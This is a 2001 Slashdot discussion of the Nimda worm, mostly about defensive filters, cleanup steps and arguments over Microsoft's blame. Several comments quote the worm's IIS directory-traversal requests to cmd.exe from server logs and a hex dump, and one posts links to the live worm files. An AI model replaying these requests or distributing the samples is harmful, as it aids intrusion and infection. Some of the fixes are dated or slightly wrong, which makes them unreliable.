    -- john
  148. Hmm... by Scoria · · Score: 2

    Over 5,000 requests by the worm so far on this end.

    This one should be a real bandwidth eater.

    --
    Do you like German cars?
  149. Re:Time for a class action lawsuit against Microso by fmaxwell · · Score: 2

    If you want to make it apples and apples, I would not blame my bank, but instead the software company that created their operating system, or the person or group of people that wrote their CGI scripts. After all, the bank just maintains the PC's, they don't write the software themselves, correct?

    Thank you. You just proved my point. You would blame the company that wrote the software, not the bank that "just maintains the PCs." Well, Microsoft wrote IIS and now you want to foist 100% of the blame on the user who 'just maintains the PC.'

    Because the people that are the cause of this problem don't bother to register their software. How exactly could Microsoft reach these clueless morons?

    Where do you get your information on what kinds of people do and do not register software? Would that fall under the category of "brown facts"?

    Maybe the fact that Microsoft does not make a proactive effort to notify users, by mail -- including a patch disc, when there are problems explains why software registration is less than it could be.

    I said Microsoft patched THE FLAW.

    You can release a patch to correct a flaw or you can patch a program or system. You cannot patch a flaw. If I tell my client that I patched something, he assumes, correctly, that I installed a software change on one or more systems, not that I created the patch and left it for his staff to read about on the company web page. But, that's semantics and I seriously doubt that either of us will concede that point.

  150. Windows -- decisions, decisions by Scoria · · Score: 2

    Does it have another check box that says "Always open attachments, especially those that could be a virus?" :)

    --
    Do you like German cars?
  151. Re:Time for a class action lawsuit against Microso by Reality+Master+101 · · Score: 2

    I did not say that they claimed it was "perfect" [...] see the URL http://www.microsoft.com/windows2000/server/evalua tion/features/web.asp

    A claim of being "secure" implies a claim of "perfect security". I looked at the page, and I don't see the quote. They talk about "security features", but I don't see the claims you are talking about. Tell me the quote.

    Now combine that "feature" with Microsoft's default of hiding file extensions and someone e-mails resume.doc.exe, the recipient sees resume.doc, and he double clicks on it.

    Maybe that's not a feature for you, but it's certainly more user friendly to not see an extension. Does it create unintended consequences? Yes. But I don't this as a reasonable criticism, unless you also say all Macintosh names should have extensions as well.

    Outlook then executes the application without so much as an "are you sure?" prompt.

    Not true. Outlook gives you all sort of warning bells and whistles for a long time now.

    All he does is include a unique 1x1 .GIF URL.

    Again, an unintended consequence of HTML e-mail. But I think it's unreasonable to say words to the effect of "Microsoft should have known that people would be able to track me by supporting HTML e-mail". Microsoft wasn't even the first to support it ... they used RTF in the beginning, but everyone else used HTML (for obvious reasons, since it's a standard).

    And you cannot turn off HTML fetching from your e-mail or have it ask you first.

    Again, untrue. At least since Outlook 2000 (which I run), you can adjust security settings for HTML e-mail, or HTML anything else for that matter. It's actually very flexible.

    These are all examples of gross security flaws that Microsoft has created.

    I don't necessarily disagree that Microsoft could do more, but it's also unreasonable to imply that they've done nothing, or that we should go back to being green screen luddites. This is going to be a learning process like anything else.

    --
    Sometimes it's best to just let stupid people be stupid.
  152. Got a copy of readme.eml from an infected box by Scoria · · Score: 4, Interesting

    It's sitting at http://www.initialized.org/virus/readme.eml if anyone wants to take a peak at it...

    *DO NOT OPEN IT IN INTERNET EXPLORER.*

    --
    Do you like German cars?
  153. I went ahead and extracted readme.exe... by Scoria · · Score: 2

    It's at http://www.initialized.org/virus/readme.exe .. Just remember not to run it on Windows. :)

    --
    Do you like German cars?
  154. Redirect those to Microsoft by DV · · Score: 2, Funny

    Can someone check if the client will follow redirects ? I yes, I suggest to make Redirect
    rules to http://www.microsoft.com for /scripts , /c/ and /d/
    In itself that should be a good punition.

    Daniel

  155. Less Stress for Apache Logmasters by herk · · Score: 2, Insightful
    I'm not entirely sure how well this works, but given that these worms are obviously connecting via the actual numerical ip, it should be possible to filter off logging from any machine connecting via such an ip to a junk log, or maybe even to deny connections altogether. I'm sure this can be tweaked, but preliminary tests indicate that this works:



    <VirtualHost 24.222.rest.ofyourip>
    ServerName 24.222.rest.ofyour.ip
    ErrorLog /var/log/apache/trash-error.log
    CustomLog /var/log/apache/trash-access.log combined
    </VirtualHost>

    --

    I like ice cream.

  156. Re:Time for a class action lawsuit against Microso by fmaxwell · · Score: 2

    They talk about "security features", but I don't see the claims you are talking about. Tell me the quote.

    There is not a single quote saying "this product is 100% secure." The clear and obvious purpose of the web page is to leave the user with the impression that the IIS product is secure.

    At least since Outlook 2000 (which I run), you can adjust security settings for HTML e-mail, or HTML anything else for that matter. It's actually very flexible.

    Then tell me how to prevent it from fetching items from the web -- i.e., no permission for Outlook to access data via HTTP. Then I might switch from Outlook Express 6 -- the most current version of Outlook Express and what I run.

    Outlook gives you all sort of warning bells and whistles for a long time now.

    You are correct that the newer versions do give warnings. I stand corrected.

  157. There are currently 4 known means of propogation by jedinite · · Score: 5, Informative

    The best site to track this incident IMO (incidents.org) now has a pretty good picture of what's going on from a technical perspective.

    A short summary:

    The Nimda worm is now known to propogate four ways:

    (1) An IIS vulnerability propagation mechanism where the worm attempts to exploit a large number of IIS vulnerabilities to gain control of a victim IIS server. Once in control, the worm uses tftp to fetch its code in a file called Admin.dll from the attacking server.

    (2) Email propogation. The worm harvests email addresses from the address book and potentially the web browser history and sends itself to all addresses as an attachment called readme.exe. These executables are automatically executed if the receipient who opens (or previews) the email is running Internet Explorer 5 or 6. Note that the worm may spoof the source address on the emails.

    (3) When a web server is infected, the worm replaces all web pages on the server with a binary encoded as a wav file, which can infect each client that connects to the server. The wav file is called readme.eml. Microsoft Internet Explorer 5.0 and higher will automatically execute the malicious file.

    (4) The worm is network aware and propagates via open shares. It will propagate to shares that are accessible to username guest with no password.

    See: www.incidents.org/react/nimda.php for the full details.

    - YASP (Yet Another Security Professional) who is fighting this pretty heavily at work - nothing here infected, of course, but the traffic itself is threatening to become a pretty nice distributed DOS - our Internet Router (a decently-hefty CSCO 6500-series) is sitting at ~60% processor utilization.

    --

    ---------
    There is no try at jedinite.com
  158. Re:A moment of being an idiot by Philbert+Desenex · · Score: 2

    Microsoft Software is more popular and so it gets hit more. If linux was just as popular you would see the same thing happen.

    You wish. The MSFT-toadying media thought that x.c , a FreeBSD and Linux worm, was going to be the "Next Code Red". My machine got more hits from sadmind/IIS worm (Solaris) than x.c. C'mon, shill-boy, why aren't you toeing the Wagg-Ed line? The truth of the matter lies more in the fact that Windows is more-or-less a software and hardware monoculture. Any flaw in IIS affects *all* of the population. The Linux/Unix/BSD/Solaris population has much greater diversity: a flaw in the WN web server isn't going to affect sites using thttpd. Similarly, there are dozens of Linux email clients in use, from mailx to Pine to mh. I don't think there's a common scripting language amongst the diversity of Linux email clients, and I don't think *any* of them are dopey enough to execute "readme.eml" files.

    People that dislike windows and love linux are the reason for this attack. Its these people that are writing the viruses and worms. You've got to be kidding, right? Have you got any evidence whatsoever to back that up?

  159. Re:Time for a class action lawsuit against Microso by Sloppy · · Score: 3, Funny

    They were negligent when they created software and technologies that are so easily exploited.

    No. Users were negligent in purchasing and deploying software that was already known ahead of time, to be defective.

    Microsoft's reputation is well established. Ignorance is no excuse.

    --
    As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
  160. Re:Time for a class action lawsuit against Microso by fmaxwell · · Score: 2

    Do you really want to establish a precedence that sez all software developers are libel for the worms others create?

    No. I want to establish a precedent that makes software publishers responsible for making their products work as described and proactively notifying users of patches necessitated for security reasons.

    I'm guessing you don't write much code.

    You guessed wrong. I've been a professional software developer since 1980 -- back when Microsoft's only products were languages like BASIC, Fortran, and Cobol for 8-bit CP/M systems. Now I develop embedded systems -- currently for satellites. If my code causes a mission failure, I expect to be unemployed. So I don't have a lot of sympathy for Microsoft when they pretend that it is impossible to write robust, secure software.

  161. Wow... by Saint+Aardvark · · Score: 2

    Two servers I take care of have had 3000 and 4000 hits, respectively, today -- and the one w/4000 is just a lil' 486 w/16mb of ram. Go selenium go!

  162. Re:Time for a class action lawsuit against Microso by aozilla · · Score: 2

    ISPs that run Linux/*BSD/Solaris are being hurt by the traffic, too.


    Why stop there? The end users are being hurt by the ISPs. The ISPs should be catching these exploits and shutting down traffic from those servers. And the end users' dogs are being hurt by the end users. When I spend more time on the internet, I have less time to feed my dog. Not to mention that when I don't feed my dog my dog sometimes goes out and bites my next door neighbor. And that in turn causes her to call 911. And when 911 is busy people die. Every one of those people should be suing Microsoft, damnit.

    --
    ok then your [sic] infringing on my copyright! Could you as [sic] me next time before STEALING my comments for your own?
  163. Re:Doesn't really help home users though. by roystgnr · · Score: 2

    Adding ipchains rules will cause your machine to ignore the packets, but they're still consuming time on your DSL/cable/whatever link.

    It's still a small improvement for those of us with home webservers, which will now just get and drop a couple SYN packets, rather than playing along through a whole HTTP request.

  164. Re:Alas, corporate IS still wants Windows by SysKoll · · Score: 2, Insightful

    My point exactly. Of course, total security is a fallacy, but using a system or a method that is demonstrably risky is plain dumb.

    So yes, corporate IS departments keep installing Windows all over the place even in places where they could avoid it because "that's what the market is".

    Imagine this discussion:

    Landlord: "Hey, you built my home on quicksands!"

    Architect: "Quicksands are the market standard. No one uses hard ground these days. Too hard to break."

    Landlord: "But it's unsafe! People get the Blue Gas-Bubble of Death every day in these quicksands! Alligators come and snatch you from behind!"

    Architect: "Come on, just stand on the moss patches and you'll be fine".

    Of course, at the end the landlord shoots the architect, to the acclaim of the whole profession.

    So why do we endure these IS "architects"?

    -- SysKoll
    --

    --
    Mad science! Robots! Underwear! Cute girls! Full comic online! http://www.girlgeniusonline.com/

  165. My version: by roystgnr · · Score: 2

    A few small fixes, but mainly this puts everything on a second chain, so that only incoming HTTP requests will have to go through hundreds of ipchains rules.

    #!/bin/sh

    if [ ! "`ipchains -n -L block80`" ]
    then ipchains -N block80
    fi

    if [ ! "`ipchains -L input | grep block80`" ]
    then ipchains -A input -p tcp --syn -d 0/0 80 -j block80
    fi

    for LUSER in `egrep "winnt|default\.ida" /var/log/httpd/error_log* | awk '{print $8}' | sed -e 's/]//' | sort | uniq`; do
    if [ ! "`ipchains -L -n | grep $LUSER`" ]
    then ipchains -A block80 -s $LUSER -d 0/0 -j DENY
    echo "Blocking $LUSER"
    fi
    done

    1. Re:My version: by jsse · · Score: 2

      I see the power of community efforts. Thanks!

  166. Someone was testing this out way before September by TrentC · · Score: 3, Interesting

    I was digging thru my logs when I found this entry (note the date)...

    207.##.###.# - - [02/Apr/2001:03:15:00 -0700] "GET /scripts/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af. .%c0%af..%c0%af..%c0%af/winnt/system32/
    cmd.exe?/c%20dir HTTP/1.0" 404 329


    So it looks like someone was giving this one a dry run several months ago...

    Jay (=

  167. Squid acl to block .eml files. by funky+womble · · Score: 2, Informative
    If you have windows boxen proxied through a squid (or, behind a unix router where you could install a squid as a transparent proxy) then you can do this:

    acl umbricus_microsoftius url_regex \.eml$
    http_access deny umbricus_microsoftius

    Obviously it quite an easy filter to come up with, but I may as well post it for anyone that didn't think of it. Bit easier than reconfiguring 4 gazillion IE boxen and fielding all the calls about websites needing VBS/Javascript not working after you've fixed people's machines.

  168. Concept (CV) Virus - Namba worm ? by mglcel · · Score: 3, Informative

    sorry for the last ugry post, bad manipulation.

    I've received a mail, with an attached file readme.exe declared as mime format audio/x-wav.

    after hexadecimal dump, i've noticed this string :

    000090c0 6e 74 65 72 66 61 63 65 73 00 00 00 43 6f 6e 63 |nterfaces...Conc|
    000090d0 65 70 74 20 56 69 72 75 73 28 43 56 29 20 56 2e |ept Virus(CV) V.|
    000090e0 35 2c 20 43 6f 70 79 72 69 67 68 74 28 43 29 32 |5, Copyright(C)2|
    000090f0 30 30 31 20 20 52 2e 50 2e 43 68 69 6e 61 00 00 |001 R.P.China..|

    "Concept Virus(CV) V.5, Copyright(C)2001 R.P.China"

    in the code i can found :

    00009b20 2f 5f 76 74 69 5f 62 69 6e 2f 2e 2e 25 32 35 35 |/_vti_bin/..%255| 00009b30 63 2e 2e 2f 2e 2e 25 32 35 35 63 2e 2e 2f 2e 2e |c../..%255c../..|
    00009b40 25 32 35 35 63 2e 2e 00 2f 5f 6d 65 6d 5f 62 69 |%255c.../_mem_bi| 00009b50 6e 2f 2e 2e 25 32 35 35 63 2e 2e 2f 2e 2e 25 32 |n/..%255c../..%2|

    _vti_bin and _mem_bin are part of my apache access logs :
    213.195.72.2 - - [18/Sep/2001:23:57:27 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 249 213.195.72.2 - - [18/Sep/2001:23:57:27 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 249 major part of the mail can be found in the hex dump as :
    000092a0 0d 0a 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e |....|
    000092b0 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 20 62 67 43 |.| 00092d0 0a 3c 69 66 72 61 6d 65 20 73 72 63 3d 33 44 63 |.....--| which is the code of the html part of the mail,

    or :
    00009350 37 38 39 30 44 45 46 5f 3d 3d 3d 3d 0d 0a 43 6f |7890DEF_====..Co|
    00009360 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 75 64 69 |ntent-Type: audi| 00009370 6f 2f 78 2d 77 61 76 3b 0d 0a 09 6e 61 6d 65 3d |o/x-wav;...name=| 00009380 22 72 65 61 64 6d 65 2e 65 78 65 22 0d 0a 43 6f |"readme.exe"..Co| 00009390 6e 74 65 6e 74 2d 54 72 61 6e 73 66 65 72 2d 45 |ntent-Transfer-E| 000093a0 6e 63 6f 64 69 6e 67 3a 20 62 61 73 65 36 34 0d |ncoding: base64.| 000093b0 0a 43 6f 6e 74 65 6e 74 2d 49 44 3a 20 3c 45 41 |.Content-ID: .......| which corresponds to the mail :
    I 3 readme.exe [audio/x-wav, base64, 75K] (mutt output) I'm not a virus expert, but if somebody is interested by the readme.exe code or more informations, please mail mglcel@gcu-squad.org. I've sent a mail to mc-afee support to learn if they know this worm, Concept(CV).

  169. URLScan by Pinball+Wizard · · Score: 5, Informative
    I just found a very interesting tool at Microsoft's website, UrlScan. It is able to identify malformed requests, and thus is able to prevent against future, unknown worms. It discards the requests before they can be executed.


    Anyone know if something like this exists for Apache? A tool like this, if widespread, could effectively contain future buffer-overrun type attacks.

    --

    No, Thursday's out. How about never - is never good for you?

  170. Perl script? by Nate+Fox · · Score: 2

    So who's gonna write a version of the CR/CR2 perl script that Kryptolus wrote? I would like to, but I'm not quite enough of a perl hacker to pull off something worth running on the logs that this worm is generating.

  171. WOW - check the backbone ping speeds . . . by jgaynor · · Score: 2

    They arent as bad as they were this afternoon (theres at least one green time now), but check out the damage.

    Internet Traffic Report

  172. Apache notification module released by the+way · · Score: 2

    Nick Tonkin has already written an extension to Apache::CodeRed that notifies administrators of infected hosts of both the CodeRed and Nimda worms. The module requires Apache+mod_perl and is available from here.

    Nick's announcement is here and important configuration instructions are here.

    Thanks to Nick, Nathan, and all the mod_perl crew for their quick work.

  173. Re:There are currently 4 known means of propogatio by ToLu+the+Happy+Furby · · Score: 2

    These executables are automatically executed if the receipient who opens (or previews) the email is running Internet Explorer 5 or 6. Note that the worm may spoof the source address on the emails...

    ...The wav file is called readme.eml. Microsoft Internet Explorer 5.0 and higher will automatically execute the malicious file...


    Nowhere on the link you provided does it specify which versions of IE are affected. Indeed, I'm fairly certain that IE6 is *not* affected (or at least requires the user to respond to a dialog box before it will run .eml or .exe files). Moreover, I'm fairly sure that MS has patches for these vulnerabilities in IE5.

    On the other hand, I believe that IE4 *is* vulnerable to at least the .eml bug.

  174. Petreley's Apache Redirect by wytcld · · Score: 2
    From varlinux.org, just in case you have redirects enabled in Apache:

    [F]or those of you using Apache, here's one way you can redirect these nimda probes just like you could the Code Red probes. All the requests vary, but they seem to include a call to one or more of the following somewhere in the string: cmd.exe, root.exe, or Admin.dll. You can't count on these appearing at the beginning or end of the string, so you have to match it anywhere within. I just took the simplest approach by matching either .exe or .dll.

    So if you want to redirect such requests to Microsoft support, for example, you might use the following:

    RedirectMatch ^.*\.(exe|dll).* http://support.microsoft.com

    Since you're using Linux or some other Unix-like operating system (I presume), it's unlikely you need to serve up any pages that include the strings ".exe" or ".dll", so this shouldn't interfere with the normal operation of your site.

    --
    "with their freedom lost all virtue lose" - Milton
  175. Nimda? by imadork · · Score: 2

    As in 'Admin' spelled backwards?

  176. Re:SIGSEGV by grahamsz · · Score: 2
    The problem is apparent on Apache's below 1.3.12 and they appear to segfault when they obtain any query string containing a %2f.

    Check out:

    http://bugs.apache.org/index.cgi/full/543.

    One of the requests made by the worm is:

    "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 "-" "-"

    You will probably find that this is not in your logs and that a segfault appears in it's place.

    We failed to find any workaround but the server load is so low that we dont deem it worth the hassle of upgrading to a newer apache.

  177. Different issue this time around by alienmole · · Score: 2

    This worm is spreading through email, even on systems that are 100% patched and running antivirus packages. The problem is the architecture of Outlook and Exchange. Microsoft has known about this for a long time, and has released nothing but quick fixes. I've testified as an expert witness in court cases before, and I would have no problem testifying as to Microsoft's negligence in the case of this particular virus, based on the evidence I have so far (although it's still early).

  178. MORE INFO by jmorse · · Score: 2
    There seems to be three aspects to this worm:
    1. The IIS exploit. The worm tries to get hold of cmd.exe and other IIS vulnerabilities (there are too many to count). It can enter a target machine this way.
    2. The Outlook attachment exploit. This is the usual script attachment/dumb luser vulnerability.
    3. The network share exploit. The worm then searches the network for Windows shares, and plants .eml files recursively in all the shares and subdirectories. It also infects .exe files. If you open any of these .eml files or run any of the .exe files, the worm will replicate again.



    4. We were hit hard by this at my company today. Our IT department just didn't learn its lesson from Code Red, and allowed people to continue running IIS on their personal machines.


      Wanna know how to get rid of it? People where I work have had success with the following:


      • Stop and disable IIS.
      • Apply the IIS patch, available from Micro$oft (not sure of the URL).
      • Disable all your network shares.
      • GREP your entire file system for readme.eml, and delete any executables that show up in this search.
      • Delete all .eml files from your system (a handy way to do this is with del /S *.eml at a command prompt)...
      • Make sure there are no .eml files left, then reboot your machine.
      • Finally, install a real web server....this one is a good choice.



      Bill Gates and Steve Ballmer should be drawn and quartered for this one... How much have these vulnerabilities cost companies in the last two years? It's just too bad that product liability laws don't apply to Micro$oft.

    --

    "You done taken a wrong turn."
    -Bill McKinney, in Deliverance
  179. Technical write up on nimda by winter@ES · · Score: 2, Informative
    A great technical write up on nimda can be found right here.

    Man.. it's nasty too...

    paulb

    --

    Paul Bettner

    Game Developer et al

  180. Worm Clothing by SEWilco · · Score: 2

    > Internet Worm clothing and other novelties.

    How do you keep the worm in it?
    It's got one sleeve and nothing else.
    For safety use buttons, not a zipper.
    Make sure you sell them by the gross, because when you have one worm you have many.
    Make sure you label them as gross.
    Offer a subscription service, the worm-clothing-of-the-month club, so they can keep next month's worm comfortable.

    "Got Worms?"
    "I'm with Worm ->"
    "I'm with Worm ->
    ->
    ->
    ->"
    "Did my worm poke you yet?"
    "Thanks, Bill!"
    "Don't Worm, Be Happy!"
    "Worm!"
    "With Worm Regards"
    "Fly Northwest To Worm Climate"
    "Microsoft: Bringing Worms to Minnesota Year-Round"
    "My MS Computer Is a Dog, It Has Worms"
    "Worms: Automatic Distributed Computing"
    "Worms. Because 1GHz is a terrible thing to waste."

  181. Re:Time for a class action lawsuit against Microso by Reality+Master+101 · · Score: 2

    So what happened to "truth in advertising"?

    Name something on that page that is not true.

    So what you're saying is, the same person who finds an email client more convenient because it hides file extensions from him is going to go into the IE options and set up their own security zone? Suuuuure....

    First of all, it's the mail options, not the IE options. Second of all, I know exactly how to do it, but I don't feel the need, and the vast majority of people don't need to, either.

    Again, I'm not saying that the security in Outlook is perfect, but what I am saying is that arguing that mail clients should be intentionally brain damaged so that you can't open a document from a mail message is just stupid. I want more power, but implemented in a safe way. The Linux advocate's solution is to simply take away power ("Just use pine!").

    --
    Sometimes it's best to just let stupid people be stupid.
  182. Quick'n'easy fix by BJH · · Score: 2

    Just add the following to your httpd.conf:

    Redirect permanent /scripts/ http://www.microsoft.com/
    Redirect permanent /vti_bin/ http://www.microsoft.com/
    Redirect permanent /_mem_bin/ http://www.microsoft.com/
    Redirect permanent /c/winnt/ http://www.microsoft.com/
    Redirect permanent /d/winnt/ http://www.microsoft.com/
    Redirect permanent /msadc/ http://www.microsoft.com/
    Redirect permanent /MSADC/ http://www.microsoft.com/

    This way, any time the worm hits you it'll go to the Borg instead...

  183. Re:Time for a class action lawsuit against Microso by mpe · · Score: 2

    And before anyone starts quoting the Microsoft license, ISPs that run Linux/*BSD/Solaris are being hurt by the traffic, too. They have no license with Microsoft and they've been injured by Microsoft's negligence.

    They are also not bound by the "you can't sue us" clause either...

    'd like to see AOL, Earthlink, or some other big ISP take Microsoft's corporate butt to court, demanding compensatory and punitive damages for Microsoft's negligence.

    Except it probably needs to be an ISP who does NOT use Microsoft software...

  184. Re:Removal by NutscrapeSucks · · Score: 2

    Late followup, but it sounds like this won't be sufficent to clean the system. Bits from NTBugTraq:

    Virus sets IE5 to IE4 compatibility mode (apparently to circumvent
    security) and crashes Explorer.exe when IE is launched. IExplore.exe
    appears to be hacked, and there is now a hidden IExplore .exe (note the
    space before the extension) in same directory.

    IIS console hacked: New MMC.EXE placed in \WINNT directory, which may
    override original version in \WINNT\System32.

    EXE files placed into TEMP directory. Note that most/all hacked EXE
    files are flagged Hidden.

    NT Account "Guest" was made a member of the NT "Administrators" group!


    And maybe more ... looks nasty enough to warrent a reinstall.

    --
    Whenever I hear the word 'Innovation', I reach for my pistol.
  185. Re:Time for a class action lawsuit against Microso by mpe · · Score: 2

    There are many flaws in their "Knowledge Base" that have never been patched -- some of which are related to security.

    There are also quite a few where you have to phone up and chase Microsoft to get a patch.

  186. Re:How to stop Internet Explorer executing said wa by NitsujTPU · · Score: 2

    I'm not going to question that you got this from wget, but what I'm wondering is, how did you find all that out using wget? Perhaps I'm not as familiar with this utility as I should be?

  187. Wietese has a fix for Postfix by geirt · · Score: 2

    Wietese Venema, the main developer of Postfix (you know, the wonderful
    sendmail replacement that Redhat is removing from Redhat 7.2) posted this
    to the postfix list:

    -----------

    There's a new worm hammering networks via email, via open shares,
    and via vulnerable web servers.

    Propagation via email can be stopped with:

    /etc/postfix/main.cf:
    body_checks = regexp:/etc/postfix/body_checks

    /etc/postfix/body_checks:
    /^[SPACE TAB]*name=.*\.exe/ REJECT

    Inside the [] are one space and one tab.

    This is also a reminder that Postfix needs decent MIME parsing
    support so it can filter this sort of malware more effectively.

    Wietse

    The worm's MIME headers, with spaces inserted to avoid false alarms.

    - - = = = = _ A B C 1 2 3 4 5 6 7 8 9 0 D E F _ = = = =
    C o n t e n t - T y p e : m u l t i p a r t / a l t e r n a t i v e ;
    b o u n d a r y = " = = = = _ A B C 0 9 8 7 6 5 4 3 2 1 D E F _ = = = = "

    - - = = = = _ A B C 0 9 8 7 6 5 4 3 2 1 D E F _ = = = =
    C o n t e n t - T y p e : t e x t / h t m l ;
    c h a r s e t = " i s o - 8 8 5 9 - 1 "
    C o n t e n t - T r a n s f e r - E n c o d i n g : q u o t e d - p r i n t a b l e

    < H T M L > < H E A D > < / H E A D > < B O D Y b g C o l o r = 3 D # f f f f f f > < i f r a m e s r c = 3 D c i d : E A 4 D M G B P 9 p h e i g h t = 3 D 0 w i d t h = 3 D 0 > < / i f r a m e > < / B O D Y > < / H T M L > - - = = = = _ A B C 0 9 8 7 6 5 4 3 2 1 D E F _ = = = = - -

    - - = = = = _ A B C 1 2 3 4 5 6 7 8 9 0 D E F _ = = = =
    C o n t e n t - T y p e : a u d i o / x - w a v ;
    n a m e = " r e a d m e . e x e "
    C o n t e n t - T r a n s f e r - E n c o d i n g : b a s e 6 4
    C o n t e n t - I D : < E A 4 D M G B P 9 p >

    --

    RFC1925
  188. Re:A moment of being an idiot by (void*) · · Score: 2
    Dude, worms may spread via Unix systems, but they won't be so lame as to use email as one of the ways to propagate itself.


    The last time there was a widespread Unix worm was the days of the Morris worm. That was more than ten years ago - an eon in Internet time. Since then, the dangers of buffer overrun exploits have been well documented, and bugs of this sort have been fixed and are continually being fixed. MS is merely a johnny come lately to this game, and it looks like Johnny didn't bother to learn from those that came before him.

  189. Re:Time for a class action lawsuit against Microso by zerocool^ · · Score: 2

    I do not think it is ethical that microsoft is allowed, as a corporation to release insecure software over and over. I mean, you'd think that once they figured out that it was insecure, they'd fix it next go-round, right? Yeah, well....

    What i was trying to bring to people's minds for a second is that this might not be the fault of the programmers, but of the administration. For example: When's the next major dot release of the linux kernel comming out? No one knows for sure, cause technically no one's up against a deadline, as a generalized statement about open source. When no one is paying you to write code, you get it done when you get it done, and done right. When someone is paying your paycheck and matching your 401k, you get it done when they want it done, tested or not. I mean, it may have a hole, but you gotta feed your kids, right?

    So what i just want people to be careful about is not to say that M$ programming sucks, or that they employ lazy programmers, or that they don't have any idea what they're doing. Their instructions are "get it done, and make it pretty, and get it done two days ago".

    --
    sig?
  190. Win2K SP2 Protects against this (and other info) by somethingwicked · · Score: 2
    Excuse if this is redundant, but I am not seeing this ANYWHERE.


    I know that /. is often the first place that many people go to for solutions to these type of problems. The problem is that the AV sites (and Microsoft's own site) are directing all attention to one single patch.


    SP2 also protects against the server vulnerabilty, though it isn't spelled out where everyone is being directed by Microsoft or the AV/News Companies. So if you have uped to SP2, the IIS issue is not a problem


    For this info, go to
    Protect Your Computers From the Nimda Worm
    at Microsoft's site

    --

    ---"What did I say that sounded like 'Tell me about your day?'"---

  191. So, what yer really trying to say is... by Codifex+Maximus · · Score: 2

    this exploit really only hits Windows boxes running IIS that haven't been properly patched?

    Hmm... sounds like an administrator error.

    *SHRUG*

    --
    Codifex Maximus ~ In search of... a shorter sig.
  192. Re:count script, i guess... by Gambit+Thirty-Two · · Score: 2

    gambit32@endgame:/trustno1/edrive/Program Files/Apache Group/Apache/logs$ grep "
    24." * | grep -v default.ida | grep -v XXXXXXX | cut -d [ -f 3- | sort | uniq |
    wc -l
    1000

    1000 hits here... (dont ask about my paths... i run apache on my windows machine, and port forward. its easier that way for me, regardless on how stupid it looks :) )

  193. Debian is easy. by twitter · · Score: 2
    alot of the boxen that are being infected are doing so because they are running default installs with no patches. if you told me you were running a default redhat install i would laugh my ass off.

    I'm not that informed, but two simple Debian lines are not too much to ask of anyone. First, remove the little # marks from /etc/apt/sources.list, then :>

    apt-get upgrade

    apt-get update

    Bango, you've got upgrades and "patches".

    Red Hat has a more mousey web based upgrade system that will work on one machine without fee. Just go visit their web site and look for support. With a little effort, you can learn how to use RPM and gnoRPM (?). Try "info rpm" or "man rpm" at a bash prompt, that tv with a foot on it called gnome terminal.

    There you go. That's nicer than being laughed at, isn't it?

    --

    Friends don't help friends install M$ junk.